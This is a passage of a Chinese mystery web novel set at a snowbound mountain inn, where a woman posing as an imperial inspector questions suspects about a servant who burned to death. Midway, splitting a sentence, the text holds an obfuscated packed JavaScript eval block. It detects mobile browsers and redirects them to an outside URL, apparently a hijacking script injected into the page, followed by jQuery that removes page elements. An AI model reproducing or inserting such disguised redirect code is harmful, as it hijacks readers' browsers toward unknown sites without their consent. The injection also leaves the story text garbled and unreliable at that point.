“方大人,可以开始查案了吗?”终于等到晏熙结束了早餐,明礼迫不及待地催促他开始。 晏熙点了点,“可以开始了。”他将对面四人一一看过,“我看你最着急,不如……”晏熙顿了顿,“就从秋琴开始吧。” 秋琴惊讶地看向晏熙,似乎是不太确定,“是从我先开始吗?我什么都不知道啊,大人。” “别紧张,我就是和你了解一些情况。有什么说什么就是了。不过……”晏熙对着四人笑了笑,“为了防止你们四人串供,还请其他三位都先回到自己的房间。” “阿信,顺平,你们两个出来一下。” 晏熙的声音一落,后厨和客堂之间的大门晃了晃,随后阿信和顺平急匆匆地跑了出来,“晏公子,不,方大人,请问有什么吩咐?” 楼上的商隐之等人看得分明,阿信和顺平原来也藏在门后偷看。 “还是叫我晏公子吧。”晏熙抬了抬下巴,“现在,李大人、素织姑娘和明礼要回到自己的房间,由你们两个负责看着,不许让他们出门,如果有什么需要,你们来办。” 客堂里只剩下了晏熙、福砚和秋琴三人。福砚拿过笔墨负责记录,晏熙开始了询问。 “你平时和明武关系怎么样?” “我们同为李家的家仆,平日里相处的自然还可以。”秋琴看起来有些紧张。 “明武和明礼,看起来不像是好相处的人啊。”晏熙紧紧盯着秋琴的表情。 “这……明武和明礼跟随大人时间最久,在大人心中的地位与常人不同,小姐常常告诫我们,遇事一定要让一让他们。”秋琴的措辞很是谨慎。 “你家小姐平时待你怎么样?” 听到这个问题的秋琴一下子活络了起来,“我家小姐是个顶好的人。平日里没什么架子,对府上的下人也都很好,小姐心地善良,乐善好施,常常帮助穷苦之人,之前我家中母亲生病,还是小姐帮忙请的大夫付的药费。我家小姐真的很好很好。” “你是什么时候跟着你家小姐的?” “奴婢跟着小姐有七八年了。” 楼上的的喜松不解,“公子,这晏公子为什么要问这么多秋琴和李小姐的问题啊?这和明武之死有关系吗?” “说不定呢。”商隐之将一颗煿豆扔进了口中。 晏熙接着问道,“那说说你昨天晚上都干了些什么吧。” 秋琴仔细地回忆了一下,“当时,宴席结束之后,我就跟着小姐回了她的风字二号房。在侍候小姐洗澡休息之后,我便回了自己的雪字房。小姐一般夜间无事,所以回去之后我便休息了,一直到后来被明武的动静吵醒。” “那你昨天有没有觉得有哪里不太对劲?” 秋琴的眼神闪了闪,像是不知道该不该说。 “怎么了?” “我……我回房的时候,好像听到有人在抱怨今日席间之事,似是对明武明礼有一些不满。” 楼上五人听到这话,一齐伸长了脑袋。 晏熙抬了抬眸,“是谁?” 秋琴摇了摇头,“我不清楚,当时我在房内,听得不是很分明。” “那你有和别人说起过这件事吗?” 秋琴摇了摇头,“我不想给大家招来麻烦,所以谁都没有说。” 晏熙点了点头,“你做得对,秋琴。好了,你可以回去了,把你家小姐叫下来吧。 李素织来到客堂后翩翩入座,“晏公子,有什么想问的你就问吧。素织一定知无不言。” 晏熙端起桌上的热茶饮了一口,“李姑娘昨日为何要冒着大雪上山?” 李素织笑了笑,“自然是因为,家父与王大人有约在先,为了不失信于人,所以才冒雪前来。” 晏熙盯着李素织,“我是问,你为什么要来。” 李素织愣了一下,随后笑笑,“雪天路滑,父亲一个人上山我不放心。而且,我向来喜欢游山玩水,云岫山的冬日日出是出了名的美景,我自然想来看看。” 晏熙拨弄了几下自己手中的茶杯,“对于昨天发生在明武身上的事,李小姐有什么看法。” “我相信,大人一定可以查出真相。” “你不觉得是山魅作祟吗?” 李素织莞尔一笑,“有没有山魅我不知道,但我相信,明武的事情一定与山魅无关。” 张大虎对此不屑一顾,“她怎么这么肯定不是山魅?” “你为什么这样觉得?” 李素织失笑“明武明礼是什么样的人,我们大家都很清楚。他们两人脾气冲,力气大,这些年也开罪了不少人。” “但是,不管怎样,明武明礼都是我李家的人,他们纵然有错,却也为我李家付出甚多,不该落得如此下场,还请大人一定找到凶手。” “那不如说说李姑娘你昨天晚上都做了些什么。” “昨日宴席结束,回到房间之后稍作休整我便歇息了。赶了一天的路,我确实没有精力再去做旁的。一直到明武出事,我才被吵醒。” “昨日李姑娘可曾有觉得哪里不对?” 李素织的眼睛看向晏熙,“不曾。但若非要说有哪里不对,我倒是觉得晏公子您有些不对。昨日您不肯和众人一同参加宴席,还假报姓名,今日明武出事,您便又出来成了‘黜陟使方川渡’,也不知您此番做法到底有何深意。” 李素织说话滴水不漏,还反将了晏熙一军。 楼上无人具是一脸惊讶,连吃东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516299|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西都忘了。契苾月小声开口,“她这是,在怀疑晏公子吗?” 该轮到李绍成的时候,他却执意不肯下来,反而邀请晏熙去他房间一坐。晏熙无奈,只得带着福砚前往。 “这……就这样了?”戏看不了了,张大虎于是转过身去。 众人脸上皆是意犹未尽,“诸位,既然晏公子去了李大人的房间,那我就先回房读书了。”齐怀章向其他几人告辞。 喜松笑道,“齐公子,一会儿他们要是在来客堂问话,我去叫你啊。” 齐怀章叹了口气,“惭愧惭愧,身为读书人我竟行如此之事。” 商隐之打趣道,“齐公子,那你到底要是不要?” 契苾月安慰齐怀章,“齐公子,好奇之心人皆有之,你不要太苛待自己了。” 风字一号房内,李绍成热络地招待晏熙喝茶。 “晏公子从长安远道而来,不知一路都去了哪些地方?” “我既奉圣上之命前来督察地方官员,自然是一路顺永济道而下。” 李绍成笑笑,“那想必晏公子一路一定看过了长安的落叶、洛泉的瀑布、泠川的山茶花以及抚淮的别雨楼。” 晏熙看着李绍成不语。 李绍成连忙解释道,“晏公子不要误会,老夫只是一直想去看看这些美景,无奈公务繁忙,能抽空来这云岫山看看日出,已是难得。” “不过公子既然来到了我晋桑县,下官一定好好招待公子。”李绍成说着,将桌子上的一个盒子递给了晏熙,“不知晏公子可曾听闻过我晋桑县的金乌阁?那里四季美景皆不同,改日下官带晏公子前去看看?” 然后又指了指地上的一口大箱子,“下官这里还有一些我晋桑县的特产,一会儿就给晏大人送去。” 晏熙打开盒子,“那就有劳李大人了。只不过,有些问题,按照程序,我还得问问李大人。” 李绍成见晏熙将盒子收下,“晏公子您尽管问,下官一定配合。” “那李大人我就问了。不知这明武明礼在李大人身边多少年了?” “那两孩子啊,打小就在我身边,跟了我二十多年了。毕竟是我从小把他们养大的,在我心里,他们其实已经是我的义子了,所以难免平时放纵了些,若有惹到晏公子的地方,还请见谅。” “这两孩子其实从小就特别懂事,一直跟随在下官左右,如今只剩下了一个,还望大人一定要帮我讨回公道。” “李大人放心,这是自然。平日里李大人不管去哪他们都跟着吗?” “他们两可以以一抵十,出门带着他们最方便不过。” “不知昨日李大人回房后都做了些什么?” “什么也没做啊。其实下官此次专为大人而来,昨日本以为见不到大人了,于是失了兴致,草草就睡下了。” “听大人的意思,似乎是不相信山魅一说?” “晏公子,你我同朝为官,也是见过不少轶事志怪,但我敢肯定,明武这事绝对另有隐情。” 晏熙对着李绍成笑了笑,“那就请李大人放心,本官一定会给李大人一个交代的。” 李绍成将晏熙和福砚送至门口,“晏公子有所不知,小女自小就钦佩像晏公子这样的少年英才,若晏公子有空,可以和小女一起看看这云岫山的雪景。” “公子,李县令这个老狐狸,把那个晏公子叫倒他的房间里,一准没做什么好事,我们真的不去看看吗?”商隐之躺在床上悠闲地吃着煿豆,倒是喜松在地下团团转个不停。 商隐之扔出一颗煿豆,“张嘴,接着。” 喜松下意识就接住了煿豆,然后嚼了起来,“公子,你就不着急吗?” 商隐之摇了摇头,“不着急啊。” 喜松双手叉腰,气鼓鼓地看着商隐之,商隐之只好坐起身,“好了,那个李县令左不过就是行一些贿赂之事,我们这一路上见的还少吗?” “那公子,咱们就一直让那位晏公子顶这你的身份吗?出了岔子怎么办?” “没事,我在这呢,出不了什么岔子。他想要这个身份那就让他先顶着呗,看看他到底想做什么,咱们正好清闲清闲。”商隐之说着,又给喜松扔了一颗煿豆。 从李绍成的房间出来后,福砚跟着晏熙回了房。 “公子,咱们不去审问那个明礼了吗?” 晏熙摇了摇头,“这明礼气性太大,先凉凉他。他越是着急上头,就越容易出错。” 晏熙活动活动了筋骨,“哎呀,装了一早上,累死我了。” 福砚扑哧笑出声,“熙姐姐,你装得可真像啊。有时候我都觉得,好像我们真的是黜陟使大人和他的小书童呢。” 晏熙捏了捏福砚的鼻子,“记住了,我们就是,万一要是被发现了,姓李的一定不会放过我们。”福砚点了点头,“我记住了,熙姐姐。” 晏熙看着福砚,“嗯?”福砚反应过来,“晏公子。” 晏熙摸了摸福砚的脑袋,“还有,你毕竟是女儿身,不管是和谁在一起,都要多注意一点,千万不能被发现了。” 福砚点了点头,“对了,晏公子,那李县令给你的那盒东西,到底是什么啊?” 晏熙打开盒子,里面是一盒金灿灿的黄金。 4. 众人戏喜松 薄雾冥冥,风雪回舞,红梅枝头缀琼玉。 闲来无事,商隐之决定带着喜松去屋外走走。 客堂里,王嗣正在和苏云碧及丁文元商议今日菜谱。这间小小的云娘店如今住着两位官家人,王嗣决定他来做东,让店里多加几道菜。 见商隐之和喜松似要出门,王嗣问道,“商公子,你们二位这是要去哪里啊?” 商隐之停下脚步“我和喜松想去屋外走走。” 一旁柜台上打盹儿的师玄温看向这主仆二人,“你们知道现在外面的风雪有多大吗?” 商隐之点了点头,“是大了点,不过无妨,我们不走远,就在这附近逛逛。”喜松在一旁幽怨地附和道,“是啊,区区风雪又何妨,四海天地快意时。” 王嗣沉默片刻,“山中雾大,你们又是第一次来,二位可千万别走太远,免得迷了路。” 苏云碧去柜子里取了两把油伞过来,“商公子,喜松,等等,你们把伞拿上,可以挡挡风雪。”她把伞递给二人,“你们这一个两个,就非得在这大雪天往外跑,现下大雪封山,万一病了连个大夫都请不上来。” 商隐之挑了挑眉,“哦,云娘,是还有人出去了吗?” 苏云碧点了点头,“晏公子和福砚正在后院呢。他们说要去查看明武出事的案发地点,我说等雪停了再去,晏公子非要现在就去。” 商隐之一脸得意地看向喜松,“看吧,除了我还是有人出去的。”喜松小声念叨道,“人家是为了查案,不得已而为之。” “到了到了,公子,我看到了。”捂得严严实实的晏熙和福砚正在后院拿着竹扫帚铲雪。福砚似乎是发现了他们要找的东西,兴奋地叫了起来。 头顶上的风雪突然停了,晏熙回过头,是商隐之。 商隐之撑着伞,“二位,需要帮忙吗?” 晏熙从袖中拿出一个布袋,将它交给商隐之,“我打算把明武的尸骨都带回去,想要破案我就得弄明白明武夜里到底发生了什么,他到底是为什么突然就自燃了起来。” 商隐之从地上沾了点儿灰烬信手一捻,然后置于鼻前闻了闻,“我猜,他的自燃应当和硫黄有关。” “根据《神农本草经》中的记载,石硫黄能化金银铜铁。据说隋朝初期,有个叫杜春子的人去拜访一位炼丹大师,不慎将硫黄、硝石还有木炭等打翻,结果顷刻之间,那位炼丹大师的房屋便被烧毁殆尽。①且硫黄燃烧时火焰呈青蓝色,伴有刺鼻臭味,这些皆与明武自燃时的情况相符。” “那位炼丹大师好惨啊,只是收留了一位访客房子就被烧没了。”听完商隐之的讲述,喜松有点为那位炼丹师感到倒霉。 喜松的真性情让晏熙和福砚觉得甚是可爱,随后晏熙看向商隐之,“商公子,你怎么知道这么多啊。” 商隐之摇了摇头,“只是家兄在大理寺任职,耳濡目染之下,这些东西多多少少就记住了些。不过,硫黄一事只是我的猜测,也许凶手是用了别的东西也不一定。” 晏熙的眼睛亮了亮,“你既知晓如何办案,那不如来帮帮我如何?” 商隐之立刻点头答应,“好啊,黜陟使大人。家兄一直嫌弃我愚笨,说我枉费了一张看上去聪明的好皮囊,我早就想做点什么事证明给他看了,只可惜一直没什么机会,如今我要是帮你破了这个案子,看他以后还怎么小瞧我。大人,您有什么需要,请尽管吩咐我” 将明武的尸骨都拿回客栈后,晏熙带着商隐之、福砚还有喜松一起去了明武和明礼的房间。 明礼已经被关了一个早上,刚走到回廊就听见他在房间里面大发雷霆,喊着要出去。门口负责看着他的顺平生怕他真的冲出来先拿他撒气,一直在架子后面躲着,看到晏熙和商隐之等人过来,急忙跑了过去。“晏公子,您可算来了,明礼一直嚷嚷着想要见您呢。” 晏熙拍了拍顺平的肩膀,掏出一块银锭送给了他,“辛苦你了,快回去休息休息吧,这里交给我们了。” 晏熙上前一步,正要拉开房门,旁边的商隐之先她一步,然后微笑着看向晏熙,“大人,请。” 晏熙拍了拍他的胳膊,“本官对下属要求不高,正常是其中一条。” 身后的福砚和喜松窃笑出声,喜松小声对商隐之说道,“公子,你也太……” 商隐之正色看着他,“太怎么了?” 喜松转了转眼睛,“太适合做官了。”喜松跳进屋里,站到晏熙身后,“官油子的那种官。” “喜松,你等着,看我回去怎么收拾你。” 屋内,明礼赤红着双目,“黜陟使大人,您终于想起我来了,我哥哥的事您查清楚了吗?有啥要问我的您赶紧问吧,我还要出去给我哥哥收尸,保护我家老爷的安危呢。” 晏熙看了他一眼,然后示意福砚继续拿出笔砚记录。 “你和明武昨日就住在这间房里?” “是啊,不然呢?” “昨天晚上,明武到底发生了什么?” “我也不知道啊,回房之后我和哥哥就休息了,连他是什么时候出的房间我都不知道。我是被他的尖叫声吵醒的。醒来之后我一看哥哥不在房内,于是匆匆跑了出去,我到对面的回廊那里推开窗户,就看到哥哥全身着起了蓝色的火焰。” 明武和明礼所住的房间在南面,只有北面的房间才能看见后院。 “昨天晚上,我听到你和明武有过一番争吵,所为何事?” “都说了就是一番小事,常有之事。” 一旁的商隐之接了一句,“小事攒多了,或许就是大事了。” “你!”明礼一拍桌子,“休得血口喷人!日前老爷赏了我兄弟二人一人一双千重袜,哥哥不慎将自己的弄破,此次上山竟然未曾告知就取走我的那双穿上,所以我才和哥哥吵了起来。” “一双袜子再贵重,也不足以和我哥哥相比。” 晏熙和商隐之对视一眼,“昨夜明武出现在后院时是赤脚,那双袜子现在在哪里?” 明礼指了指床脚,“就在那里,那双就是。” 屋内突然沉默了片刻,商隐之悠悠开口,“大人,需要我帮您把那双袜子取过来您仔细查看一番吗?” 喜松和福砚四目震惊,晏熙嘴角抽了抽,“不,不用了。” 于是商隐之低头暗自忍笑。 晏熙侧目刀了商隐之一眼,继续正色道,“昨天晚上你和明武一直在一起吗?” “差不多吧,基本上是。” “那就说说你和明武昨天晚上都做了些什么吧。” “昨天宴席散了之后,我和哥哥先侍候老爷洗澡更衣,待到老爷睡下之后,我兄弟二人便回了房。” “回房之后,哥哥还想着那个祸人的胡姬,于是我陪哥哥一同出去找人。但我二人并不知晓那胡姬到底住在哪一间屋,大小姐又让秋琴警告了我俩不许乱来扰民,于是我们只能去询问云娘。” “无奈云娘不肯告知,我二人只得败兴而归。回来后我兄弟二人洗脚时我发现哥哥偷穿了我的袜子,于是我与哥哥发生了争吵,之后我负气睡下。” “哥哥见我生气,便将袜子还给了我。再之后我和哥哥便休息了。” “期间你有没有觉得哪里或者有谁看起来不太对劲?” “要我说啊,就是那个胡姬不对劲,还有帮着她的那几个,说什么山魅作祟,大人,你可一定要严查他们几个。” 晏熙静静地看着明礼,“你为何如此笃信,一定不是山魅作祟?” 明礼顿了顿,他的眼珠飞快地转动了两圈,“这……”他的声音里似乎带上了一丝犹疑,“我哥哥又不曾得罪山魅,这山魅为何要害他?” “李县令去任何地方都会带着你和明武吗?” “是啊,不带着我们,谁来保护老爷的安危?” “你和明武是从什么时候开始跟着李县令的?” “打小就跟着了,有二十多年了吧。在遇到老爷之前,我和哥哥原本跟着一个杂耍艺人混日子,靠沿街给人表演节目为生,每天都过得食不果腹的。” “后来是老爷带我和哥哥回到了府上。那时候我家老爷还连校书郎都没考上,但他给了我和哥哥一个安心居住的地方以及吃穿用度,还送我和哥哥去学武。” “后来我两学武有成,我家老爷也一路高升,我和哥哥都很感谢老爷,所以我们发誓一定要誓死追随老爷。” 晏熙点了点头,“我要问的,就先这么多,商公子,你还有没有什么想问的?” 商隐之沉思片刻,“明礼,你平日里睡觉很实吗?” 明礼摇了摇头,“当然不是,我和哥哥要负责保护老爷和小姐的安危,怎敢睡实?” 晏熙和商隐之对视一眼,明礼身为武夫和侍从,凡是有一点风吹草动就要立刻查看,可是昨夜睡在他身边的明武离开房间他竟然一无所知。 问完话后,晏熙让明礼先出去,她和商隐之他们,要还原一下案发的经过。 明武和明礼房间是月字房,空间不大,正对着门的一张桌子两张椅子,旁边就是床。 除此之外,房间中还有两盏烛火、一盏茶壶、一碟点心、四个杯子、以及一个木盆里面有半盆水,上面放着两张布巾。 床头放着香炉,床上堆积着两床被子和几件明武的衣物。 商隐之、晏熙、福砚还有喜松四人将房间里里外外一一探过,发现门锁、窗户等没有任何被破坏的痕迹。房间的地面、墙面还有柱子上也没有留下什么脚印之类的印记。 晏熙推开窗户,发现窗户外侧向右不远处便是云娘店客堂大门的屋檐。她叫了其他人过来,“看,如果有人想要进来,走正门很有可能会不小心遇到其他人,但如果走这边,就会很容易。” “当然,如果真是山魅的 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晏熙叹了口气,“那就奇怪了,凶手还能在哪儿动手脚呢?” 商隐之环顾屋内,一时也看不出哪里出现了问题,“不如我们先往下顺?” 晏熙点了点头,“那凶手提前动了手脚,让明武和明礼陷入了沉睡,然后他进屋后只叫醒了明武,现在的问题是,明武醒了之后,房间里没有打斗的痕迹,他也没有叫醒明礼,这是为什么?” 福砚想了想,“或许,叫醒明武的那个人让他觉得是安全的?这样一来的话,凶手岂不是就是李家的人,或者还有可能是王嗣和杜仲?” 商隐之摇了摇头,“也不一定。任何一个人在叫醒明武后如果和他说,‘你不要出声,你家老爷或者小姐让我过来找你’他应该都会保持安静。” “还有一种可能。”晏熙继续说道,“那就是明武一睁眼就陷入了他后来那种浑浑噩噩的状态。” “可是无论是假借李县令和李小姐之名,还是让他立刻陷入浑噩状态,都排除不了任何人。”晏熙为此有点苦恼。 商隐之建议道,“那我们继续往下?” 晏熙舒了口气,“总之,凶手进入房间后叫醒了明武,然后想办法让他不要出声,之后明武便陷入了浑浑噩噩地状态自己跑到了后院。这正是整个案子中除了明武如何自燃外最麻烦的一个问题,凶手是怎样做到的?” 房间中一时陷入了沉默,过了一会儿,喜松开口,“也许,凶手是用了什么药。” 喜松走到床边一边模拟一边讲述自己的猜测,“你们看,凶手进屋之后走到床边,然后拍醒了明武。明武一睁开眼睛,他便拿起抹了药的东西,捂住明武的口鼻。然后药效发作,明武就疯疯癫癫地连衣服和鞋袜都没穿就跑到了后院。” 福砚补充了一点,“也可能是用了什么方术、幻术之类的法子让明武陷入疯癫。” 喜松对着福砚点了点头,“对,很有可能。”然后他看向商隐之,“公子,你知不知道有什么药或者术法是有这样地效果的?” 商隐之摇了摇头,“我不知道,但我看你还原案发的经过挺完美的,凶手本人出来也就不过如此了吧。” 喜松登时生了一场小气,“哼,我那不是为了帮你们早点找到凶手吗?过程都是你和晏公子推理出来的,我只不过是照着你们说的演示了一番而已。公子你怎么还乱说话啊?我喜松是那样的人吗?” 见喜松生气,商隐之边笑边道歉,“好了好了,是我乱说,是我的错。我就是逗你玩嘛。” 喜松将气鼓鼓地脸收了回去,“你闹着玩也要先说清楚,万一真的被晏公子误会我是凶手怎么办?” 商隐之摸了摸喜松的头,“晏公子不会的。” “是吗?可是我现在怎么越看喜松越觉得像看见了凶手呢?”晏熙在一旁小小地添了一把油。 “哎呀,我解释不清楚了。公子都怪你,呜呜呜。”喜松捂着脸坐到了地上。只余剩下三人笑得前仰后合。 最后还是晏熙拍了拍喜松,“好了喜松,如果真的不是你做的,我一定不会冤枉你的。” 喜松泪眼惺忪地看着晏熙,“晏公子你相信我,真的不是我。” 晏熙点了点头,“我相信你。现在,我们还有一个问题,如果明武燃烧是因为硫黄,那硫黄是从哪里来的?想要点燃一个人,需要的量应该不少,而且,这些硫黄又是怎么到了明武身上的?” 商隐之想了想,“想要点燃明武这一点很简单,凶手只需要把硫黄涂抹在他的衣服上即可,这一步凶手完全可以在唤醒明武之前完成。但这硫磺是怎么来的,喜松,你来给我们说说吧。” 喜松没反应过来,一脸茫然,“啊,我不知道啊,为什么让我来说?” 一旁的福砚笑出了声,“因为,凶手本人肯定清楚硫黄的来历。” 5. 捉迷藏 商隐之、晏熙、喜松和福砚四人忙活了大半天试图还原案发经过,但许多事情仍一知半解。沉思过后,晏熙决定再去问问店中的其他人,看看能不能发现什么。 商隐之跟在晏熙身后,“晏公子,你想先问谁啊?我去帮你把人找过来。” 晏熙想了想,“我们既住在云娘店,那我就去问问对这里最熟悉的几个人。不过,我和福砚去就够了,我们四个人一齐去的话,难免给他们造成压力。” “好吧。”商隐之伸了个懒腰,“那我和喜松去房里稍作歇息,晏公子您有需要随时叫我们。” 喜松跟着商隐之回到房内,“公子,您真的什么都不打算做吗?那之后怎么办?” “之后?顺其自然咯。我看这位晏公子查案挺认真的,那就让他查下去吧。”商隐之扑到自己的床上,然后侧翻过身,“喜松,帮本公子倒杯水来。” 喜松将茶杯递给商隐之,“公子,我是说等雪停了之后该怎么办。你和晏公子的身份早晚要被揭穿的。” 商隐之接过杯子,低头看了一眼,“那应该,是那位晏公子担心的事情。” 云娘店二楼回廊拐角处,福砚见私下无人,偷偷在晏熙身旁耳语,“公子,你就这么邀请了那位商公子和喜松来帮你查案,但若是万一被他发现……” 福砚的话没有说尽,但晏熙已然明白了她的意思。“早晚的事。我观云娘店中众人,属这位商公子最为懒散肆意,也属他最为深不可测,把他放到身边,我反倒放心。” 福砚推开了连同客房与伙计小楼之间的门。 晏熙和福砚进入阿信房间的时候,他刚刚给自己上完药,整个房间都弥漫着一股药膏的味道。 “晏公子,您来了,快请坐。”阿信一边收拾桌子,一边给晏熙和福砚倒茶,“您有什么要问我的?” 阿信倒水的手都在颤抖,晏熙安抚地笑了笑,“你别紧张,只是随便聊聊,你先坐吧。” “哎,好嘞。”阿信做到了桌子对面的床上。 “你的伤,怎么样了,严重吗?” 阿信有点意外,他没想到晏熙会问他这个问题。“劳晏公子挂心,我的伤不打紧,就是胯骨上有一点淤青。”阿信指了指一旁的药膏,“这药膏是掌柜的之前给我的,我用过一次,很管用的,涂了之后好几个时辰都没什么感觉,而且用不了三两天淤青就全散了。” “这么灵啊,什么药膏,我可以看看吗?” 阿信将一旁的白瓷小瓶递给了晏熙,“大人您请。” 晏熙仔细看了看那白瓷小瓶,随后打开闻了闻药膏,然后盖子盖上递给了一旁同样好奇的福砚。“本公子并不通药理,什么也没看出来,不过,你觉得有用就好。” 阿信露着牙齿笑了笑,“多谢晏公子关心。” 晏熙接着问道,“你和顺平,那天晚上是怎么摔倒的?” 阿信看向晏熙的眼神里带了几分委屈,却又一副欲说还休的样子。 “没关系,你尽管说,我要做的,就是查清楚每一件事的真相。” 阿信这才犹犹豫豫地开口,“其实,是那明武故意绊了我一脚。当时我和顺平正准备往后厨走,那明武的一只脚就伸了过来。我猝不及防就摔了,还扯上了在我身边的顺平。” “那现在明武死了,你怎么看这件事。” 阿信一下子睁大了眼睛,“大人,您不会是在怀疑我吧?真不是我干的,平日里这种客人虽然不多,但也时有遇到。我们心里对于这种事情都是早有准备的,绝对不会因此就蓄意报复。我,我也没有那么大的本事的。” 晏熙笑了笑,“我没有怀疑你,只是问你怎么看,你忠厚老实,手脚勤快,我是知道的。” 阿信舒了一口气,“啊,多谢大人的信任。说实话,看到明武在后院自燃,其实一开始我只觉得害怕。那场面,那鬼火真的太吓人了。我也是这会儿才回过味来,意识到明武很可能是因为作恶太多所以被山魅惩罚了,我其实是有点高兴的。” 晏熙抬了抬眼,“你觉得,是山魅做的?” 阿信一脸理所当然,“当然了,不然还能有谁?看明武那个性格就知道他不可能敬重山魅的,被惩罚也是理所当然。” “你相信,真的有山魅?” “是啊,那大虎哥不也说了,这山里每年都有人莫名消失。” “你昨天晚上在被明武绊倒之后,再见过他吗?” “没再见过。当时掌柜的让我和顺平下去,就是怕我们再和明武明礼起冲突。所以一直到明武明礼房间的灯灭了,我和顺平才出去收拾的客堂。” “那在收拾客堂之前,你一直在房间里吗?” “没有,我先是回来涂了点药,随后便去后厨帮忙烧水了。诸位客人晚上要修整沐浴,免不得要多用热水。” “你来云娘店做工多久了?” “五六年了吧,我十六七岁就从家里出来了,恰巧在这里遇到了掌柜的。那时候她刚刚建好这座云娘店没多久,身边只有丁大厨和师先生,她愿意收留我,我就住了下来。” “云娘她,真是个好人。” “那当然了,掌柜的平时对我们这些伙计都可好了。干我们这行的,平时少不得受客人的气,每次掌柜的都会让我们先向客人道歉,但过后她总会补偿我们。平时我们的吃穿用度她也会样样关照到,生病了还会为我们请大夫,平时请休她也不会扣我们工钱,而且云娘还经常收留这山里没钱又没地方去的客人,过后他们只需要干点活抵房费就可以了。” 一说起云娘,阿信打开话匣就停不下来了。晏熙耐心地听他说完,然后让他无事的时候多休息养伤,随后来到了隔壁顺平的房间。 正在帮着苏云碧照顾客人的顺平听到晏熙的召唤,一路小跑了过来。 “晏公子,请问您有什么吩咐?”顺平毕恭毕敬地喘着气问道。 “没事,就是问你几个问题,你先坐下喝口水吧。” 顺平拿过一旁茶杯先给晏熙和福砚一人倒了一杯,接着才是自己。“晏公子,我好了,您问吧。” “夜里明武自燃的场景,你看见了吗?” 顺平点了点头,“看见了,那鬼火把天都印蓝了,可真是吓人。” “对于这件事,你怎么看?” “是山魅大人显灵了,半夜将下惩罚,惩治心无敬意之人。” “你相信山魅的存在?” “那是自然。我娘从小就教育我,举头三尺有神明,勿以恶小而为之。” “听起来,你应当是读过书的,怎么会跑到这里来这里当一个杂役?” “晏公子您有所不知,我小时候确实读过几天书,但是后来我爹意外染病,只剩我和娘相依为命,我就没有再去读书了。前两年我娘也走了,家中又遭遇蝗灾,实在过不下去了,我就来了这里,做了杂役。本想着做一段时间就离开,谁承想,这一待就再也不想走了。” “在这里做杂役可比读书种田轻松多了,我脑袋没那么灵光,读书的时候老记不住文章,被先生责罚,我每天都是哭着上学的。后来种田的时候,我一个大好男儿,干活的速度竟比不上母亲,还经常出错,因此也总遭同村的人嘲笑。” “可是我来了这里,刚开始做活时也总出错,但是掌柜的和其他人却没有一个责罚嘲笑我的,掌柜的总说,错了没关系,只要改正就好了。有一次我不小心打碎了客人的一个玉镯,还是掌柜的代我道歉赔偿的,从那之后我就决定,那也不去了,这辈子我就待在这云娘店了。” “那你昨天晚上见过明武几次,分别是什么时候?” “见过两次。一次是在客堂里,后来掌柜的让我和阿信退下了。再后来是那位杨远公子喝多了,哭着要跳楼,掌柜的便让我去陪陪他。我和掌柜的劝了杨公子好久,后来他和闹着闹着睡着了,我和掌柜的从他房里出来,正碰到明武明礼从三楼下来,我躲在掌柜的身后向那二位行了个礼,一直等到听不见他们的脚步声我才下楼的。” “他们是从三楼下来的?” “是的,晏公子。看样子,他们应当是从李县令的房间出来的,似乎还和秋琴说了两句话。” “三楼的风字房,一共几间?” “回晏公子,三楼风字房一共三间,分别住着李县令、王大善人还有李小姐。王大善人五日前来到小店的时候就全部都预定并付过房费了。” 风字房被预定完这一点晏熙刚来到云娘店的时候就知道了。 从顺平的房间离开后,晏熙带着福砚去到了后厨。 两人刚来到门口,便又听到了明礼的怒吼声。晏熙和福砚趴在门口听了几句,原来是明礼嫌弃丁文元做的饭不合口味,正在盯着丁文元重新做。 福砚摇了摇头,“我觉得这丁大厨做的饭已经够好吃了,明礼平日里吃的到底是什么山珍海味啊。” 晏熙叹了口气,“怕是因为李县令和李小姐交代过不许他胡闹,他又有气没处撒,只能找这么个借口来为难丁大厨了。” 晏熙和福砚推门进入,明礼看见来人后将声音收了起来,丁文元隔着灶台问他们两人有什么需要。 “没什么需要的,是我家公子有几个问题要问你。” 丁文元一脸为难,“还麻烦晏公子稍等一会儿,我先帮这位明礼兄弟炒完这道菜。” 晏熙和福砚就站在一旁等待,菜出锅后明礼尝了一口,“不是哥哥为难你,但你之前炒的那是什么玩意儿,下次还照着这样炒,记住了吗?”丁文元连连点头“哎,哎,记住了,请您放心,我下次一定照您的要求来。” 明礼离开后福砚关上了门,“丁大厨您辛苦了。” 丁文元摇了摇头,“这家店是我们掌柜的一辈子的心血,掌柜的是个好人,无论如何,我都会帮她把这家店好好做下去的。”丁文元叹了口气,“不说这个了,晏公子,您有什么要问 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“你是什么时候来到云娘店的?” “晏公子,这可就说来话长了。六七年前,我啊,在登州的一个小酒楼做菜。那天一个客人借酒闹事,调戏起了店里的琵琶女。那会儿我正是年轻气盛的时候,看不下去于是当众和那厮打了起来,老板怕得罪客人,便将我赶走了,我正愁没地方去呢,掌柜的从酒楼里走了出来,说喜欢我做的菜,让我跟她走。唯一的条件是,以后不可以随便动手打客人。” “我问掌柜的,那咱们的店在哪啊?结果掌柜的说,还没想好在哪儿建呢。后来我跟着掌柜的走了两个月,来到了这云岫山。这里有山有水,掌柜的很喜欢,我们就在这里建了这座云娘店。” “你以前有见过明武和明礼吗?” “晏公子说笑了,这我上哪儿见去。咱们云娘店这地方啊,只能等客人主动来。平日里上山下山的,我嫌麻烦。” 晏熙下一个想谈的人是师玄温,于是便和福砚去了客堂。刚一进入,就看到里面空空如也,只有阿信蒙着眼睛,伸着手在四处瞎摸。 晏熙走到柜台边,发现师玄温并不在他往常的位置上坐着。“奇怪,师先生呢?” 一双手从身后捂住晏熙的嘴巴,把她半抱在怀中按了下去。她回头一看,是商隐之。 “福砚,你也快躲起来,我们在捉迷藏呢。” “哦,哦。”明白了情况的福砚点头答应,然后转身跑到了不远处的一张桌子下藏起来。 在静可闻针的客堂里,这里的动静很快就被阿信捕捉到了,他摸索着向这边走来。 